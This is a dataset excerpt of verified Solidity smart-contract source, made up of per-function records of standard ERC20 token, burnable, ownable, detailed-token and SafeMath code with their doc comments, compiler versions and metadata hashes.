/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
_mint
function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); }
/** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 5370, 5679 ] }
18,530
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
_burn
function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); }
/** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 5908, 6219 ] }
18,531
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); }
/** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 6487, 6827 ] }
18,532
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
_burnFrom
function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); }
/** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param valu...
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 7221, 7411 ] }
18,533
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target addres...
/** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */
NatSpecMultiLine
burn
function burn(uint256 value) public { _burn(msg.sender, value); }
/** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 156, 240 ] }
18,534
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target addres...
/** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */
NatSpecMultiLine
burnFrom
function burnFrom(address from, uint256 value) public { _burnFrom(from, value); }
/** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 490, 590 ] }
18,535
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = m...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @return the address of the owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 457, 541 ] }
18,536
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = m...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
isOwner
function isOwner() public view returns (bool) { return msg.sender == _owner; }
/** * @return true if `msg.sender` is the owner of the contract. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 828, 925 ] }
18,537
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = m...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner....
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 1283, 1428 ] }
18,538
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = m...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 1600, 1714 ] }
18,539
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = m...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 1859, 2093 ] }
18,540
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @retu...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @return the name of the token. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 356, 444 ] }
18,541
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @retu...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @return the symbol of the token. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 506, 598 ] }
18,542
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @retu...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @return the number of decimals of the token. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 672, 760 ] }
18,543
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } ...
/** * @dev Multiplies two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 151, 576 ] }
18,544
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } re...
/** * @dev Multiplies two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 657, 1196 ] }
18,545
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1320, 1620 ] }
18,546
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; }
/** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1742, 2031 ] }
18,547
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2158, 2307 ] }
18,548
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; }
/** * @dev Subtracts two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2387, 2564 ] }
18,549
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2641, 2790 ] }
18,550
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; }
/** * @dev Adds two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2865, 3042 ] }
18,551
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3190, 3315 ] }
18,552
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev Total number of tokens in existence */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 283, 376 ] }
18,553
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
balanceOf
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 581, 689 ] }
18,554
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1016, 1149 ] }
18,555
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
transfer
function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; }
/** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1309, 1450 ] }
18,556
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
approve
function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race con...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2082, 2324 ] }
18,557
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The ...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2783, 3081 ] }
18,558
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval even...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3580, 3901 ] }
18,559
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; }
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval even...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 4405, 4736 ] }
18,560
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
_transfer
function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); }
/** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
